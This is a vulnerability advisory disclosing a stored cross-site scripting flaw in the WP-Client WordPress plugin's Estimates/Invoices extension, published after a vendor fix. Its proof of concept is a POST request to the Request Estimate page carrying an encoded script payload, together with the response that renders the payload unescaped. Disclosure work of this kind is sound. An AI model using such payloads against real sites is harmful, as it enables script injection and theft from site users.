WordPress Plugin WP-Client 3.8.7 - Persistent Cross-Site Scripting

#####################################################################################
 
Application: WP-Client
 
Version: 3.8.7
 
Author: Pier-Luc Maltais from COSIG
 
Twitter: @COSIG_
 
#####################################################################################
 
1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################
 
===============
1) Introduction
===============
One plugin configures multiple areas of your WordPress installation and allows the 
site Administrator to easily create new Client Areas, Client Management Portals, 
Client Estimates & Invoices, Client File Upload Areas, or Private Staff Pages on the 
site by entering  just a few data fields. Additionally, clients can upload/download 
secure files. (https://wp-client.com/)

 
============================
2) Report Timeline
============================
12/11/2015 - Found the vulnerability
12/11/2015 - Ticket opened
20/11/2015 - Plugin extension Estimates/Invoices updated (v1.5.2)
24/11/2015 - Public disclosure
 
 
============================
3) Technical details
============================
WP-Client is vulnerable to a stored XSS attack in the Request Estimate page. The 
extension affected is Estimates/Invoices v1.5.1.


============================
4) POC
============================
Request : 

POST /portal/request-estimate/ HTTP/1.1
[...]
wpc_data%5Baction%5D=request&wpc_data%5Btitle%5D=Request+Estimate+from+2015-11-12&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bname%5D=&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bdescription%5D=&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bquantity%5D=1&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bprice%5D=&wpc_data%5Bwpc_inv_message%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
 
Response :

[...]
<div class="wpc_clear"></div>
    <span>Comments:</span><br>
	<table id="wpc_inv_table_request_notes" style="width: 100%;">
		<tr bgcolor="E0E0E0">
			<td><b>client:</b></td>
			<td><script>alert(1)</script>
[...]

#####################################################################################